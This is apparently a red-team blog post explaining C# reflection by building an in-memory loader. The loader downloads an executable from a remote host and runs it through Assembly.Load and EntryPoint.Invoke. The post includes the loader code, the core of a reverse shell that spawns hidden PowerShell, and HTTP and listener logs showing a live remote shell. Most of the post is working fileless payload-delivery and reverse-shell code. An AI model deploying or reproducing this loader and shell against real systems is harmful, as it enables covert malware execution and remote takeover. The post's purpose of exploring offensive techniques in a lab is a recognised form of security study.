Csharp Reflection

Saturday, March 21, 2020

Reflection

Reflection is a C# concept which can allow for the execution of managed code via, well, code.

Before moving further into this, I want to quickly explain managed and unmanaged code:

  • Managed Code: Managed code means the execution is managed by Common Language Runtime which is the component of .NET framework that manages the execution of .NET programs. Additionally, managed is able to read its own metadata to find assemblies. Essentially, it allows code to inspect other code within the same system1
  • Unmanaged Code: Some library code needs to call into unmanaged code (for example, native code APIs, such as Win32). Because this means going outside the security perimeter for managed code, due caution is required. If your code is security-neutral, both your code and any code that calls it must have unmanaged code permission (SecurityPermission with the UnmanagedCode flag specified).2

I won’t be discussing Reflection of unmanaged code, but it is possible.

For this example, I will be retrieving an exe from a remote host, and executing it on a Windows 10 machine. This is common functionality for C2’s. However, I believe Cobalt Strike’s execute-assemby works differently.

Serving the binary

To re-enact a C2 collecting a payload, I will be serving beaconing.exe which is a reverse shell I wrote in C#. Here is the code to collect the bytes:

String URL = "http://192.168.0.22:1304/beaconing.exe";
Console.WriteLine("Attempting to download A new exe from: " + URL);
byte[] BytesFromRemote = null;
try
{
    BytesFromRemote = new System.Net.WebClient().DownloadData(URL);
}
catch (Exception e)
{
    Console.WriteLine("Got error: " + e.Message);
}

The binary is being collected and stored in the BytesFromRemote array:

192.168.0.27 - - [21/Mar/2020 14:50:11] "GET /beaconing.exe HTTP/1.1" 200 -

With that, the next thing is to actually execute it with Reflection, here is the function to achieve that3:

public static int RunReflection(Byte[] Bytes, string[] Parameters)
{
    try
    {
        Assembly AssemblyToExecute = Assembly.Load(Bytes);
        MethodInfo method = AssemblyToExecute.EntryPoint;
        object ExecuteAssembly = method.Invoke(null, Parameters);
        return 0;
    }
    catch (Exception e)
    {
        Console.Write(e.Message);
        return 1;
    }
}

Lets break this small function down:

  1. Assembly.Load(): Here, the code is loading the assembly with a common object file format (COFF)-based image which contains the assembly.

  2. Assembly.EntryPoint: This represents the entry point of the assembly. If this were to be printed, the following is given:

Void Main(System.String[])
  1. MethodInfo.Invoke(): This method is where the execution takes place. It invokes the method represented by the current instance. It takes in two parameters. First off, the object obj invokes the method or constructor represented by the current instance, using the specified parameters. The second parameter is any command-line arguments to supply.

The beaconing.exe doesn’t require any arguments, so it can just be called. And it works:

Attempting to download A new exe from: http://192.168.0.22:1304/beaconing.exe
Successfully downloaded 7680 bytes from http://192.168.0.22:1304/beaconing.exe
Executing...
Connecting to 192.168.0.22:4444
Connected to 192.168.0.22:4444!
Starting POwErsHELl.Exe!

And:

Listening on [0.0.0.0] (family 2, port 4444)
Listening on 0.0.0.0 4444
Connection received on 192.168.0.27 50433
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.
Try the new cross-platform PowerShell https://aka.ms/pscore6

PS C:\Users\mez0\Desktop\GitHub\ReflectiveExecution\ReflectiveExecution\bin\Debug> 

There are some interesting caveats. I wasn’t able to execute code from different .NET Framework versions. Maybe its possible with the unmanaged solution? Here is an StackOverflow discussing it: https://stackoverflow.com/questions/49360150/load-net-assemblies-with-higher-net-version-at-runtime-via-reflection

To give the shell some context, it uses this typical solution:

Process p = new Process();
p.StartInfo.FileName = "powershell.exe";
p.StartInfo.CreateNoWindow = true;
p.StartInfo.UseShellExecute = false;
p.StartInfo.RedirectStandardOutput = true;
p.StartInfo.RedirectStandardInput = true;
p.StartInfo.RedirectStandardError = true;
p.OutputDataReceived += new DataReceivedEventHandler(CmdOutputDataHandler);
p.Start();

So, when the ReflectionExecution.exe is run, it grabs the bytes from beaconing.exe and runs it as a child process as seen here:

process hacker

Conclusion

In this post I wanted to explore C# Reflection with managed code. Having done that, there are some additional things I want to look into.

  1. Achieving the same thing but with unmanaged code
  2. Identifying and replicating the functionality of execute-assembly

But for now, I’ll leave this here.

References


  1. How C# Reflection Works With Code Examples ↩︎

  2. Secure Coding Guidelines for Unmanaged Code ↩︎

  3. C# In Memory Assemblies ↩︎

DevelopmentC#Reflection

Potatoes